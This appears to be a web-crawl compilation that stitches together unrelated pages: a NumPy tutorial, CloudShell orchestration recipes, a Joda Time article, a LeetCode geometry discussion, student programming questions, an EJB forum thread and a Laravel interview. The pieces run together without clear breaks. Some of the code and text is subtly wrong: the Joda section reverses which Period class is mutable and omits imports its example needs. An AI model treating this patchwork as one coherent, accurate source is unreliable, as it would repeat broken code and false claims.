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NumPy allows easy standard mathematics to be performed on arrays, a well as moire complex linear algebra such as array multiplication.
Lets begin by building a couple of arrays. We’ll use the np.arange method to create an array of numbers in range 1 to 12, and then reshape the array into a 3 x 4 array.
import numpy as np # note that the arange method is 'half open' # that is is includes the lower number, and goes up yo, but not including, # the higher number array_1 = np.arange(1,13) array_1 = array_1.reshape (3,4) print (array_1) OUT: [[ 1 2 3 4] [ 5 6 7 8] [ 9 10 11 12]]
Maths on a single array
We can multiple an array by a fixed number (or we can add, subtract, divide, raise to power, etc):
print (array_1 *4) OUT: [[ 4 8 12 16] [20 24 28 32] [36 40 44 48]] print (array_1 ** 0.5) # square root of array OUT: [[1. 1.41421356 1.73205081 2. ] [2.23606798 2.44948974 2.64575131 2.82842712] [3. 3.16227766 3.31662479 3.46410162]]
We can define a vector and multiple all rows by that vector:
vector_1 = [1, 10, 100, 1000] print (array_1 * vector_1) OUT: [[ 1 20 300 4000] [ 5 60 700 8000] [ 9 100 1100 12000]]
To multiply by a column vector we will transpose the original array, multiply by our column vector, and transpose back:
vector_2 = [1, 10, 100] result = (array_1.T * vector_2).T print (result) OUT: [[ 1 2 3 4] [ 50 60 70 80] [ 900 1000 1100 1200]]
Maths on two (or more) arrays
Arrays of the same shape may be multiplied, divided, added, or subtracted.
Let’s create a copy of the first array:
array_2 = array_1.copy() # If we said array_2 = array_1 then array_2 would refer to array_1. # Any changes to array_1 would also apply to array_2
Multiplying two arrays:
print (array_1 * array_2) OUT: [[ 1 4 9 16] [ 25 36 49 64] [ 81 100 121 144]]
Matrix multiplication (’dot product’)
See for an explanation of matrix multiplication, if you are not familiar with it.
We can perform matrix multiplication in numpy with the np.dot method.
array_2 = np.arange(1,13) array_2 = array_1.reshape (4,3) print ('Array 1:') print (array_1) print ('\nArray 2:') print (array_2) print ('\nDot product of two arrays:') print (np.dot(array_1, array_2)) OUT: Array 1: [[ 1 2 3 4] [ 5 6 7 8] [ 9 10 11 12]] Array 2: [[ 1 2 3] [ 4 5 6] [ 7 8 9] [10 11 12]] Dot product of two arrays: [[ 70 80 90] [158 184 210] [246 288 330]]
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Common Orchestration Script Recipes
In this section, we’ll provide a few handy examples of common script operations. The intention is to grow this into a good source to copy paste common code from. All of the examples are available in the DevGuide Examples repository under the orchestration_scripts_examples folder.
Executing commands on sandbox resources
The following script attempts to execute a command only on resources that support it. If a resource does not support the command, the script will simply ignore it and move on
Configuring Apps in a Sandbox
App configuration in a sandbox, initiated either by setup orchestration or a dedicated orchestration script, can be performed in parallel or ordered by custom logic using the app_configuration methods. In the following example, we will configure all the ‘web servers’ Apps after configuring the ‘application server’ App; Also, to enable connection between the deployed Apps,we will pass the application server’s address to the web servers configuration:
from cloudshell.workflow.orchestration.sandbox import Sandbox sandbox = Sandbox() ## configure Application server application_server = sandbox.components.get_apps_by_name_contains('application server')[0] sandbox.apps_configuration.apply_apps_configurations(application_server) application_server_address = sandbox.components.get_apps_by_name_contains('application server')[0].deployed_app.FullAddress web_servers = sandbox.components.get_apps_by_name_contains('web server') for server in web_servers: ## set application server as app param (application_server_address is pre-configured on the app) sandbox.apps_configuration.set_config_param(server, 'application_server_address', application_server_address) ## configure web servers sandbox.apps_configuration.apply_apps_configurations(web_servers)
Make sure to add a requirements.txt file that will include the cloudshell-orch-core package to use this example.
Note the code in the components helper’s method to get the correct Apps from the sandbox and the usage in the App object rather than the name of the App for other methods like apps_configuration.set_config_param.
Configuration of a sandbox’s Apps can be streamlined by using the OOB setup logic, as described in the CloudShell’s OOB Orchestration section. | https://devguide.quali.com/orchestration/9.0.0/common-orchestration-recipes.html | CC-MAIN-2020-29 | en | refinedweb |
A Better Date and Time API: Joda Time
By Lance Finney, OCI Senior Software Engineer
July 2008
Introduction
Calculating, storing, manipulating, and recording time is vital for many types of applications: banking applications use time to calculate interest; supply-chain forecasting applications use time to analyze the past and predict the future; etc. Unfortunately, it is difficult to meet these requirements. With internationalization issues, time zone handling, different calendar systems, and Daylight Saving Time to be considered, the subject matter is far from trivial and is best handled by a specialized API.
Unfortunately, the API included so far with JavaTM is insufficient:
- The combination of
java.util.Dateand
java.util.Calendaris notoriously counterintuitive to use.
- They do not support some common date tasks, like calculating the number of days between two different dates.
- Supporting a calendar system other than one of the default calendar systems is very difficult to set up.
- January unexpectedly is stored as 0 instead of as 1.
- Strangely,
Date.getDate()returns just the day of month and not the whole date.
Fortunately, a powerful replacement is on its way: Joda Time. Not only is this replacement available as an open-source library, but it is also the basis for JSR 310 which is under consideration to be added to Java. This article presents an overview of this important and useful API.
Learning Through Example
As mentioned, one of the problems with the JDK API is difficulty in calculating the number of days between two different dates. To learn a bit about how to use Joda Time, let's see how one can solve that problem a few different ways using Joda Time. The example finds the number of days from January 1, 2008 to July 1, 2008.
- package com.ociweb.jnb.joda;
-
- import org.joda.time.DateTime;
- import org.joda.time.Interval;
- import org.joda.time.LocalDate;
- import org.joda.time.Months;
- import org.joda.time.PeriodType;
-
-
- public class DateDiff {
- public static int getDaysBetween(Interval interval) {
- return interval.toPeriod(PeriodType.days()).getDays();
- }
-
- public static void main(String[] args) {
- // Use simple constructor for DateTime - January is 1, not 0!
- DateTime start = new DateTime(2008, 1, 1, 0, 0, 0, 0);
-
- // Create a DateMidnight from a LocalDate
- DateMidnight end = new LocalDate(2008, 7, 1).toDateMidnight();
-
- // Create Day-specific Period from a DateTime and DateMidnight
- int days = Days.daysBetween(start, end).getDays();
- System.out.println("days = " + days);
-
- // Create an Interval from a DateTime and DateMidnight
- days = getDaysBetween(new Interval(start, end));
- System.out.println("days = " + days);
-
- // Create an Interval from the ISO representation
- String isoString =
- "2008-01-01T00:00:00.000/2008-07-01T00:00:00.000";
- days = getDaysBetween(new Interval(isoString));
- System.out.println("days = " + days);
-
- // Create an Interval from a DateTime and a Period
- days = getDaysBetween(new Interval(start, Months.SIX));
- System.out.println("days = " + days);
- }
- }
days = 182 days = 182 days = 182 days = 182
Note that each gives the correct answer of 182 days. While this might seem a trivial problem, it actually is not simple using just the JDK. The typical approach used with the JDK is to compare the timestamps for the midnights of January 1 and July 1 and divide the result by the number of milliseconds in a day. While this works in some cases, my computer would give 181.958333 using that approach instead of 182 for the given example. Why? Because my computer is set to use Daylight Saving Time in the northern hemisphere, and one hour was skipped in the first half of the year.
Joda Time avoids these calculation errors by extracting a Day-specific
Period of using direct millisecond math. However, the way we generate the
Period and the type of
Period used varies.
The first example shows the simplest approach to solve the problem; we directly use the type of
Period designed for date ranges. It's that easy.
In the second example, we create Day-specific form of a generic
Period from an
Interval that itself is created from a
DateTime and a
DateMidnight (We could also use
Days.daysIn(interval).getDays() instead as an alternative to the generic
Period used here).
DateTime is the main user class in Joda Time. In a way, it's a replacement for
java.util.Date, encapsulating all information about date, time, and time zone.
DateMidnight is a similar class that is restricted to midnight. The
DateTime is created simply, but the
DateMidnight is created from a
LocalDate, a class that represents only the date information.
LocalDate does not represent as much information as
DateTime, lacking information about time of day, time zone, and calendar system. I discuss these core classes more below.
In the third example, we create the
Interval by parsing an ISO 8601 String representation of a date interval.
In the last example, we create the
Interval from a
DateTime and a Month-specific
Period. Interestingly, even though we use one
Period to create the
Interval and extract another
Period from the
Interval to calculate the number of days, we cannot directly use the initial
Period. The reason for this is that
Months.SIX does not represent a consistent number of days, depending on the months included.
Finally, notice that the key for January is
1, not
0. This fixes the source of many bugs using
Date and
Calendar. Alternately,
DateTimeConstants.JANUARY is available.
Primary User Classes
Now that we've seen an example that introduced some of the API, let's look at the major classes that a user of Joda Time would use. Each of the concepts will be discussed in depth later. I am introducing a style convention here: from now on, a concept will be presented in italics, and a concrete class will be presented in a
code block. This is necessary because, for example, there is both an Instant concept and an
Instant concrete class.
The main point to notice here is that Joda Time often provides both immutable and mutable implementations of its concepts. In general, it is preferred for performance and thread-safety to use the immutable versions.
If you need to modify an immutable object (for example, a
DateTime), there are two options:
- Convert the immutable object to a mutable object and then convert back. Within most of the concepts, the classes are easily convertible to each other using conversion constructors or conversion factories:
- DateTime immutable = new DateTime();
- MutableDateTime mutableDateTime = immutable.toMutableDateTime();
- mutableDateTime.setDayOfMonth(3);
- immutable = mutableDateTime.toDateTime();
Note that this doesn't actually modify the original immutable object, but instead replaces the reference with a new object.
- A simpler alternative is to use a "with" function on the immutable object to replace the reference with a new immutable object based on the first:
DateTime immutable = new DateTime(); immutable = immutable.withDayOfMonth(3);
Instant
The Instant is the core time representation with Joda Time. An Instant is defined as "an instant in the datetime continuum specified as a number of milliseconds from 1970-01-01T00:00Z." In general, it is not important that the starting point is 1970, except that it simplifies interoperability with the JDK classes. The key point is that an Instant knows the time zone and calendar system being used (in contrast, we will later discuss the Partial, which has some time information, but not the time zone and calendar context).
Joda Time offers four implementations of Instant:
DateTime
- The most common implementation — this immutable representation allows full definition of date, time, time zone, and calendar system.
MutableDateTime
- This is a mutable, non-thread-safe version of DateTime.
DateMidnight
- Similar to DateTime, except that the information is date-only (the time is forced to be midnight). This is also immutable.
Instant
- This is a much simpler immutable implementation that contains date and time information, but is always UTC. This cannot be used in time zone or calendar sensitive situations, but is instead useful as a Daylight Saving Time-independent event timestamp.
Some of these classes are demonstrated in DateDiff example above.
Partial
Compared to an Instant, a Partial contains less information. A Partial does not know about time zone, and it may contain only part of the information contained in an Instant (hence the name).
Joda Time offers four implementations of Partial (all are immutable):
LocalDate
- This contains date-only information. The difference between LocalDate and DateMidnight is that LocalDate represents the entire day, while DateMidnight represents the moment of midnight at the beginning of the day.
LocalTime
- This contains time-only information. A particular LocalTime instance applies to the same part of any day, not to a unique moment in time.
LocalDateTime
- This contains both date and time information. Unlike DateTime, however, this should be considered only a local instant that works in an assumed and unspecified time zone and calendar system.
Partial
- A special implementation that can handle any desired combination of date and time information, created by specifying a single or multiple DateTimeFieldTypes in the constructor.
- DateTimeFieldType[] types = {
- DateTimeFieldType.year(),
- DateTimeFieldType.dayOfMonth(),
- DateTimeFieldType.minuteOfHour()
- };
- Partial partial = new Partial(types, new int[]{2008, 3, 15});
- In this example, the
Partialdefines a moment in the unspecified time zone that is in the 15th minute, the 3rd day, and the 2008th year of the default calendar system. However, the month, hour, and all other fields are empty. They do not even default to 0 — they are completely empty. Because one can create nonsensical time concepts like this, it is not as easy to convert a Partial to an Instant as it is to convert a LocalDate.
Converting to and from an Instant can be simple using one of many provided methods for LocalDate, LocalTime, and LocalDateTime. However, note that the Partial instance does not contain any information about time zone and may be missing other time information, so defaults for those fields will be assumed unless they are specified. Additionally, since a LocalTime is equally valid for any day, additional information will be necessary to specify the date information for the Instant.
Interval, Duration, and Period
These three concepts all express information about a range of time, but there are significant differences between them:
- Interval
- A fully-defined range, specifying the starting Instant and the ending Instant
- Duration
- The simplest of the three, representing the scientific quantity of a number of milliseconds, typically calculated between two Instants
- Period
- Similar to Duration in that it represents the difference between times; however, the representation is stored in terms of months and/or weeks and/or days and/or hours, etc.
The difference between Duration and Period to demonstrated by the following example of code intended to add a month to an Instant:
- package com.ociweb.jnb.joda;
-
- import org.joda.time.DateMidnight;
- import org.joda.time.DateTime;
- import org.joda.time.Duration;
- import org.joda.time.format.DateTimeFormat;
- import org.joda.time.format.DateTimeFormatter;
-
-
- public class PeriodDuration {
- public static void main(String[] args) {
- final DateTimeFormatter pattern = DateTimeFormat.forStyle("MS");
-
- for (int i = 1; i <= 31; i += 10) {
- DateTime initial =
- new DateMidnight(2008, 3, i).toDateTime();
-
- // will always add exactly a month
- DateTime periodTime = initial.plusMonths(1);
- System.out.println("period: " +
- initial.toString(pattern) +
- " -> " + periodTime.toString(pattern));
-
- // will always add exactly 31 days
- Duration duration =
- new Duration(31L * 24L * 60L * 60L * 1000L);
- final DateTime durTime = initial.plus(duration);
- System.out.println("duration: " +
- initial.toString(pattern) +
- " -> " + durTime.toString(pattern));
- System.out.println();
- }
- }
- }
period: Mar 1, 2008 12:00 AM -> Apr 1, 2008 12:00 AM duration: Mar 1, 2008 12:00 AM -> Apr 1, 2008 1:00 AM period: Mar 11, 2008 12:00 AM -> Apr 11, 2008 12:00 AM duration: Mar 11, 2008 12:00 AM -> Apr 11, 2008 12:00 AM period: Mar 21, 2008 12:00 AM -> Apr 21, 2008 12:00 AM duration: Mar 21, 2008 12:00 AM -> Apr 21, 2008 12:00 AM period: Mar 31, 2008 12:00 AM -> Apr 30, 2008 12:00 AM duration: Mar 31, 2008 12:00 AM -> May 1, 2008 12:00 AM
In this example, we try to add a month to a start time two different ways. Using a Period, we explicitly add a month, and we always get the right answer (assuming that adding a month to the last day in March should give the last day in April). Using a Duration, we add the number of milliseconds equivalent to 31 days, and we run into two problems:
- Because my machine uses a North American time zone that uses Daylight Savings Time, adding 31 days worth of milliseconds to midnight on March 1 results in 1:00 AM on April 1, an hour later than desired. Duration knows nothing about time zones and Daylight Saving Time, so this would be a frequently-occurring bug.
- Adding 31 days worth of milliseconds to the last day of March results in May 1, not the last day in April. While this could be correct in some applications, it is usually not the desired result.
Notice also the special date and time formatting provided by
DateTimeFormat.forStyle("MS"). This is just one of many ways in which Joda Time provides significant tools for String parsing and formatting. See the references for more detail on this feature.
Interval
An Interval is a fully-defined range, specifying the starting Instant (inclusive) and the endingInstant (exclusive). The Interval is defined in terms of a specific time zone and calendar system.
Joda Time offers two implementations of Interval:
Interval
- The most common implementation — this immutable representation allows full definition of the range of date and time, given a time zone and calendar system.
MutableInterval
- This is a mutable, non-thread-safe version of Interval.
The DateDiff example above shows some simple Interval processing.
Duration
Duration represents the scientific quantity of a number of milliseconds, typically calculated between two Instants. It is the simplest concept in Joda Time, with only a single immutable implementation. A Duration can be derived from two Instants or from two millisecond representations of time.
Period
Similar to Duration in that it represents the difference between times, a Period is more complex in that it is defined in terms of one or more particular time units, or fields. There are two distinct sub-concepts of Period, those that are defined in terms of any field, and those specific to a single field.
Single Field Period
These implementations are very simple. If you wish to figure out the number of seconds between two Instants, you can use
Seconds. To find out the number of minutes between them, use
Minutes, and so on. This example shows each of the Single Field implementations used to examine the difference between 7:40:20.500 AM on February 7, 2000 and 3:30:45.100 PM on July 4, 2008:
- package com.ociweb.jnb.joda;
-
- import org.joda.time.DateTime;
- import org.joda.time.Days;
- import org.joda.time.Hours;
- import org.joda.time.Minutes;
- import org.joda.time.Months;
- import org.joda.time.Seconds;
- import org.joda.time.Weeks;
- import org.joda.time.Years;
-
-
- public class Single);
-
- // Years
- Years years = Years.yearsBetween(start, end);
- System.out.println("years = " + years.getYears());
-
- // Months
- Months months = Months.monthsBetween(start, end);
- System.out.println("months = " + months.getMonths());
-
- // Weeks
- Weeks weeks = Weeks.weeksBetween(start, end);
- System.out.println("weeks = " + weeks.getWeeks());
-
- // Days
- Days days = Days.daysBetween(start, end);
- System.out.println("days = " + days.getDays());
-
- // Hours
- Hours hours = Hours.hoursBetween(start, end);
- System.out.println("hours = " + hours.getHours());
-
- // Minutes
- Minutes minutes = Minutes.minutesBetween(start, end);
- System.out.println("minutes = " + minutes.getMinutes());
-
- // Seconds
- Seconds seconds = Seconds.secondsBetween(start, end);
- System.out.println("seconds = " + seconds.getSeconds());
- }
- }
years = 8 months = 100 weeks = 438 days = 3070 hours = 73686 minutes = 4421210 seconds = 265272624
Note that only complete time periods are returned, not partial years, etc.
Any Field Period
While the Single Field Periods are nice in many cases, what if we wanted to see a combination of fields? For example, what if we wanted to see the number of years, months, days, and minutes between the two Instants without weeks or hours? For that, we use the Any Field variants, with
Period being the mutable implementation and
MutablePeriod being the immutable twin.
The following example shows how one could create such a Period as desired in the previous paragraph. For this type of Period, we need first to create an Interval from the Instants and extract the Period from it.
- package com.ociweb.jnb.joda;
-
- import org.joda.time.DateTime;
- import org.joda.time.DurationFieldType;
- import org.joda.time.Interval;
- import org.joda.time.Period;
- import org.joda.time.PeriodType;
- import org.joda.time.format.PeriodFormatter;
- import org.joda.time.format.PeriodFormatterBuilder;
-
-
- public class Any);
-
- // Generate desired Period
- DurationFieldType[] types =
- {
- DurationFieldType.years(), DurationFieldType.months(),
- DurationFieldType.days(), DurationFieldType.minutes()
- };
- PeriodType periodType = PeriodType.forFields(types);
- Period period = new Interval(start, end).toPeriod(periodType);
-
- // Print default representation
- System.out.println("period = " + period);
-
- // Print fields
- System.out.println("years = " + period.getYears());
- System.out.println("months = " + period.getMonths());
- System.out.println("days = " + period.getDays());
- System.out.println("hours = " + period.getHours());
- System.out.println("minutes = " + period.getMinutes());
-
- // Print pretty version
- PeriodFormatter formatter = new PeriodFormatterBuilder().
- appendYears().appendSeparator(" years ").
- appendMonths().appendSeparator(" months ").
- appendDays().appendSeparator(" days ").
- appendMinutes().
- appendSeparatorIfFieldsBefore(" minutes").
- toFormatter();
- System.out.println("period = " + period.toString(formatter));
- }
- }
period = P8Y4M27DT470M years = 8 months = 4 hours = 0 days = 27 minutes = 470 period = 8 years 4 months 27 days 470 minutes
Notice that the default
toString() implementation of
Period includes all the necessary information, but in a format that isn't particularly readable. One option is to extract each of the fields explicitly, as shown (notice that extracting the hours results in a value of
0 because the
Period isn't configured to return hours). The other way is to generate a
PeriodFormatter from a builder to format the Period exactly how we want it.
Because a Duration knows only the number of milliseconds that elapsed between the twoInstants, we would not be able to get anywhere near this level of detail with a Duration.
Chronology
This article has mentioned Joda Time's calendar systems several times, particularly in the difference between Instant and Partial and between Period and Duration. While these calendar systems are key to the library, for most scenarios the can be ignored. But what are they?
The Joda Time term for a calendar system is Chronology. The eight different concrete Chronology implementations are listed in the table above. Of those implementations,
GJChronology matches
GregorianCalendar in that both include the cutover from the Julian calendar system in 1582. However, Joda Time's default Chronology is
ISOChronology, a system based on the Gregorian calendar but formalized for use throughout the business and computing world.
For most applications, this default Chronology will be sufficient, and the entire concept ofChronology can be ignored safely. However, the other Chronology implementations are available for calculating dates before October 15, 1582 (when the Julian calendar was abandoned in the Western world), for years for countries that adopted the Gregorian calendar later (like Russia, which changed in 1918), or for parts of the world that use the Coptic, Islamic, or other calendars.
Time Zone
The idea of time zone in Joda Time is very similar to its implementation in the JDK. However, it is reimplemented in Joda Time to provide more flexibility in keeping up with recent time zone changes. Joda Time updates the included time zones with each release, but if you need to update due to a time zone change between releases, refer to the Joda Time web page.
Converter
The authors of Joda Time made a very interesting choice in developing the constructors for the key classes; in most cases, there is an overloaded version of the constructor that takes an
Object. For example, the constructor for
Interval that took a String in the DateDiff example above really took an
Object. Why did they do this, and how does it work?
The authors decided to sacrifice type safety for increased extensibility. When that constructor is called, it internally checks a manager,
ConverterManager to find a converter for the type and generates the
Interval instance based on the result returned by the converter (the lists of default converters for each of the classes are given in the API documentation for
ConverterManager, not in the individual classes). While there is definitely a cost here (the constructor will throw an
IllegalArgumentException if it receives an inappropriate object), there is also the opportunity to provide a constructor that satisfies your project's needs.
For example, the constructor for
DateTime will not accept a
LocalDate. This is not surprising, as a
LocalDate does not have the time zone and Chronology information that
DateTime needs, and because
LocalDate provides a
toDateTime() method to convert the
LocalDate using the default time zone and Chronology. However, what if we decided that we wanted to be able to have the same functionality available through the constructor? The following example shows how we might do this:
- package com.ociweb.jnb.joda;
-
- import org.joda.time.Chronology;
- import org.joda.time.DateTime;
- import org.joda.time.DateTimeZone;
- import org.joda.time.LocalDate;
- import org.joda.time.format.DateTimeFormatter;
- import org.joda.time.format.DateTimeFormat;
- import org.joda.time.chrono.ISOChronology;
- import org.joda.time.convert.ConverterManager;
- import org.joda.time.convert.InstantConverter;
-
-
- public class LocalDateConversion {
- public static void main(String[] args) {
- final DateTimeFormatter pattern = DateTimeFormat.forStyle("M-");
- final LocalDate date = new LocalDate(2008, 1, 1);
-
- try {
- new DateTime(date);
- } catch (IllegalArgumentException e) {
- // should be thrown
- System.out.println(e.getMessage());
- }
-
- LocalDateConverter converter = new LocalDateConverter();
- ConverterManager.getInstance().addInstantConverter(converter);
-
- final DateTime dateTime = new DateTime(date);
- System.out.println("dateTime = " + dateTime.toString(pattern));
-
- }
-
- private static class LocalDateConverter
- implements InstantConverter {
- public Chronology getChronology(
- Object object, DateTimeZone zone) {
- return ISOChronology.getInstance();
- }
-
- public Chronology getChronology(
- Object object, Chronology chrono) {
- return ISOChronology.getInstance();
- }
-
- public long getInstantMillis(
- Object object, Chronology chrono) {
- final LocalDate localDate = (LocalDate) object;
- return localDate.toDateMidnight().getMillis();
- }
-
- public Class getSupportedType() {
- return LocalDate.class;
- }
- }
- }
No instant converter found for type: org.joda.time.LocalDate dateTime = Jan 1, 2008
This converter extracts the date information for
getInstantMillis() and assumes the defaultChronology for the
getChronology() methods. When trying to generate a
DateTime from a
LocalDate before the converter is registered, we get the expected exception. When we try again after registering the converter, we get the expected
DateTime.
Properties
In addition to simple getters, several of the key classes in Joda Time supply an alternate means of accessing state information — properties. For example, both of these are ways to find out the month from a
DateTime:
- DateTime dateTime =
- new LocalDate(2008, 7, 1).toDateTimeAtStartOfDay();
- System.out.println("month = " + dateTime.getMonthOfYear());
- System.out.println("month = " + dateTime.monthOfYear().get());
However, there's a lot more that we can do with the property:
- DateTime.Property month = dateTime.monthOfYear();
- System.out.println("short = " + month.getAsShortText());
- System.out.println("short = " +
- month.getAsShortText(Locale.ITALIAN));
- System.out.println("string = " + month.getAsString());
- System.out.println("text = " + month.getAsText());
- System.out.println("text = " + month.getAsText(Locale.GERMAN));
- System.out.println("max = " + month.getMaximumValue());
-
- dateTime = month.withMaximumValue();
- final DateTimeFormatter pattern = DateTimeFormat.forStyle("M-");
- System.out.println("changedDate = " + dateTime.toString(pattern));
short = Jul short = lug string = 7 text = July text = Juli max = 12 changedDate = Dec 1, 2008
Through the property, we have name and localization access to the field, and we also gain many specialized methods to gain modified copies of the original
DateTime.
Summary
For date and time calculations, the Joda Time API is superior to
java.util.Date (Sun's initial attempt) and
java.util.Calendar (the improvement). By providing separate systems that allow both adhering to and ignoring time zones, Daylight Saving Time, etc., Joda Time supports much more comprehensive and robust date and time calculation than is available by default.
Given the importance and difficulty of date and time calculations, and Joda Time's excellence, it is not a surprise that JSR 310 (for Joda Time) passed with flying colors.
References
- [1] Joda Time (version 1.5.2 used in this article)
- [2] JSR 310
- [3] ISO 8601
Lance Finney thanks Stephen Colebourne, Tom Wheeler, and Michael Easter for reviewing this article and providing useful suggestions. | https://objectcomputing.com/resources/publications/sett/july-2008-a-better-date-and-time-api-joda-time | CC-MAIN-2020-29 | en | refinedweb |
The whole event takes place on mars, so you can see the different time intervals for minutes, hours and days respectevely at the top.The whole event takes place on mars, so you can see the different time intervals for minutes, hours and days respectevely at the top.Code:
//Jonathan Barnwell
//COP 3223 Section 1
//Program III
//02/23/06
#include <stdio.h>
#define HRS_DAY 20 //define hours per day
#define MINS_HR 12 //define minutes per hour
#define SECS_MIN 15 //define seconds per minute
int main(void) {
int menu_choice; //Gather user menu choice
int h = 0, m = 0, s = 0; //current time
int hT, mT, sT; //count time
do {
//heres my menu
printf("Choose one of the following menu options:\n");
printf("1: set time\n");
printf("2: start timer\n");
printf("3: quit\n");
scanf("%d", &menu_choice);
if (menu_choice == 1) {
printf("What is the current time?\n");
scanf("%d:%d:%d", &h, &m, &s);
}
else if (menu_choice == 2) {
printf("How long would you like me to count?\n");
scanf("%d:%d:%d", &hT, &mT, &sT);
//I am supposed to take every second and print it until that interval expires
}
else if (menu_choice == 3) {
printf("Thank you.\n");
}
else {
printf("Sorry, that is not a valid menu choice.\n");
}
} while (menu_choice != 3);
return 0;
}
I'm supposed to create a menu for the user, (set time/start timer/quit)
as you can see, most of that is already input.
next i am to take the current time and print in seconds until the interval provided expires. (for example using EARTH, if its 2:00:00 and he wants me to count for an hour i'm supposed to print every second until three a clock.)
i hope that makes sense
i don't know how to continue from here
please advise
Michael
PS theres more to it, i'm just trying to understand it step by step | https://cboard.cprogramming.com/c-programming/76182-any-assistance-would-greatly-appreciated-printable-thread.html | CC-MAIN-2017-47 | en | refinedweb |
The key to this problem is how to characterize "slope" determined by two points. I see many posts here using either a
doubleto represent slope or
pair<int,int>with GCD process to make it unique. But this either has issues with numerical accuracy or having to do recursive calculation.
The idea here.
Note that this formulation is actually an extension to the traditional slope calculation
x/y which not only needs to deal with
y == 0as corner case but also unavoidably involves floating point numerical comparison.
Once the order is defined, it can be used as a key in
std::map for counting purpose to gather points along the same line with a reference point, i.e.,
- define
map<Point, int> countwith
count[Point(x,y)]being the number of points with slope
(x,y)to the reference point.
Note that we count singular slope
(0,0) (i.e., duplicated points) separately since this "special" slope is essentially undefined.
Since an ordered container
std::mapis used, the time complexity is
O(N^2*logN). The space complexity is
O(N)to store
map<Point, int> count.
int maxPoints(vector<Point>& pts) { int maxPts = 0; for (auto& i:pts) { map<Point, int, Comp> count; int dup = 0; for (auto& j:pts) maxPts = max(maxPts, i.x==j.x && i.y==j.y? ++dup : (++count[Point(i.x-j.x,i.y-j.y)]+dup)); } return maxPts; } // comparator for key (slope) in map struct Comp { bool operator()(const Point& a, const Point& b) { int64_t diff = (int64_t)a.x*b.y - (int64_t)a.y*b.x; // convert to 64bit int for int overflow return (int64_t)a.y*b.y>0? diff > 0 : diff < 0; } };
You still have a bug, though, due to overflow. For example you fail input (got fixed)
[[0,0],[65536,65536],[65536,131072]], returning 3 instead of the correct 2. (And the judge solution fails it as well, expecting 3.)
@StefanPochmann said in 6-line C++ concise solution, NO double hash key or GCD for slope:
[[0,0],[65536,65536],[65536,131072]]
Yeah, you are right. For variable range in
|x| <= MAX, expression
f = x1*x2-x3*x4 should be able to handle range
|f| <= 2*MAX^2. By definition of struct
Point, I modified
Comp to convert to
int64_t to handle
int overflow.
Thanks for the test case
[[0,0],[65536,65536],[65536,131072]] which should have been added to OJ's tests with expected result
2 (instead of
3).
@zzg_zzm Thanks, just added @StefanPochmann 's test case.
Does it work if count[XXX] gets increased first and then dup gets increased? Say count 0 => 10 then dup 0 => 10, maxPts should be 20 instead of 10.
@lxtbell2 said in 6-line C++ concise solution, NO double hash key or GCD for slope:
Does it work if count[XXX] gets increased first and then dup gets increased? Say count 0 => 10 then dup 0 => 10, maxPts should be 20 instead of 10.
I get your point. Yes, if the "anchor" point is duplicated with last point in vector
pts, we indeed miss some counting. However, this does not matter because we are looping through all points anyway. If not all points are duplicated, we must at some point use an "anchor" point which is not duplicated with
pts[N-1] and this will get correct max count at least once, so we can simply update global max count by a single line
maxPts = max(maxPts, i.x==j.x && i.y==j.y? ++dup : (++count[Point(i.x-j.x,i.y-j.y)]+dup)) inside double loops.
Well, I admit that it is not readable...The readable one should count
dup and max value in map
count[] before updating global max count.
Readable Version:
int maxPoints(vector<Point>& pts) { int maxPts = 0; for (auto& i:pts) { map<Point, int, Comp> count; int dup = 0, maxCount = 0; for (auto& j:pts) { if (i.x==j.x && i.y==j.y) ++dup; else maxCount = max(maxCount, ++count[Point(i.x-j.x,i.y-j.y)]); } maxPts = max(maxPts, maxCount + dup); } return maxPts; }
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Call a Session Bean method every minute (2 messages)
Hello, I have a Message Driven Bean that calls a Session Bean. The Session Bean Calls a Stored Procedure. I would like the Session Bean method (MySessionBean.logPerformance(performance)) to be called every one minute. Question: What is the implementation to call MySessionBean.logPerformance(performance)) every one minute? Below is the pseudo code: public class MyMDBBean implements javax.ejb.MessageDrivenBean, javax.jms.MessageListener { public void onMessage(javax.jms.Message msg, Object performance) { MySessionBean.logPerformance(performance); } Thanks for your support
- Posted by: Francois Ngijoi
- Posted on: April 10 2008 23:05 EDT
Threaded Messages (2)
- Re: Call a Session Bean method every minute by Naveen Sisupalan on April 28 2008 15:20 EDT
- timer service by Bhupesh Ravish on May 13 2008 07:31 EDT
Re: Call a Session Bean method every minute[ Go to top ]
First of all onMessage method cannot take two parameters. It will accept only one parameter that is a Message object. If you want to call logPerformance() from inside onMessage method every one minute, I don't think that is possible. Because onMessage method is called by the container whenever there is a message in the queue.
- Posted by: Naveen Sisupalan
- Posted on: April 28 2008 15:20 EDT
- in response to Francois Ngijoi
timer service[ Go to top ]
Why dont u use ejb timer service. schedule it to cal your mdb which in turn wll call your session bean.
- Posted by: Bhupesh Ravish
- Posted on: May 13 2008 07:31 EDT
- in response to Naveen Sisupalan | http://www.theserverside.com/discussions/thread/49011.html | CC-MAIN-2017-47 | en | refinedweb |
import java.util.Scanner;at the top of your program before your R3 class block begins.
public static void main(String[] args) { // Declare program variables. // Declare Scanner object. // User prompts, value assignments to quarter purchase variables and single if statements. // Calculate and print average. // If block to determine customer spending level. } // end main
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Developer Spotlight: Freek Van der Herten
This is an excerpt from this week’s newsletter where I had the pleasure of doing a short Q&A interview with Freek Van der Herten from Belgium. Freek has been active with Laravel over the past few years and releases a lot of popular packages.
Q. What do you enjoy about Laravel?
A. There’s a lot to like about Laravel. Of course, there’s the powerhouses like Eloquent, the easy routing, queuing, scheduling, … But in my mind the real killer feature of Laravel is its ecosystem. Things like Homestead, Forge, Envoy greatly improve the value of the framework because it all works seamlessly together. Of course, the ecosystem also consists of people. Resources such as Laracasts, the Laravel podcast, Larachat on Slack and this very newsletter give the ecosystem a very friendly face.
Q. You release a lot of packages under the Spatie namespace, can you tell us about that?
A. Spatie is a company based in Antwerp, Belgium. We specialize in creating web apps. The company was founded a little bit over than ten years ago. It now consists of five people: four developers and a manager. We have clients ranging from small firms to big international companies like Sony.
Our goal is to create sites and web apps that are beautiful designed and easy to use. We generally don’t use the well known open source cms’es. They tend to offer too many whistles and bells which can be confusing for our users. That’s why we built our own cms.
Until a few years ago all of our projects were built with Zend Framework 1. That approach worked fine for many years but I felt the PHP world stalled a bit. We did a few experiments with Ruby, but then Laravel 4 came around. You could say the Laravel, together with Composer pulled us back into using PHP.
You could say the Laravel, together with Composer pulled us back into using PHP.
Nowadays our custom built cms is a full fledged Laravel 5.1 app. It’s not open source, but that’s only because documenting and supporting it does not align with the needs of our business. However, we release functionality that can easily be isolated as packages on GitHub.
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Hi guys, i have a script with a stop loop like this
